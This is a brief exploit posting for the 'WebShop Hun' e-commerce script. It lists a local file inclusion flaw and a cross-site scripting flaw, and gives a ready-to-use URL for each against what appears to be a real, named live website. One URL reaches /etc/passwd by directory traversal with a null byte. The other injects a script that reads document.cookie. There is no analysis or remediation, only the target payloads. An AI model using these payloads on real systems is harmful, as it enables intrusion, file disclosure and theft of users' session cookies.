WebShop Hun 1.0625 File Disclosure / XSS

`***********************************************************  
*  
WEB SHOP HUN (LFI/XSS) Multiple Remote Vulnerabilities *  
*  
*  
*  
***********************************************************  
  
  
[>>] Autor: U.F.   
  
[>>] Mail: expiries  
  
[>>] Script: WebShop Hun  
  
[>>] Version: v1.062S (meybe older)  
  
[>>] Price: 30.000 Ft.(hungary)  
  
[>>] Download: http://www.netprog.eu  
  
  
  
************************************************  
*  
[>>] special greetz : Jason , Bull *  
*  
************************************************  
  
  
  
Exploit Info :  
  
  
--LFI--  
  
  
Example: http://india-biocosmetics.com/index.php?param=1&nyelv_id=4&mappa=../../../../../../../etc/passwd%00  
  
  
  
--XSS--  
  
  
Example: http://india-biocosmetics.com/index.php?param=1&lap=<script>alert(document.cookie)</script>&bejelentkezes=nincs`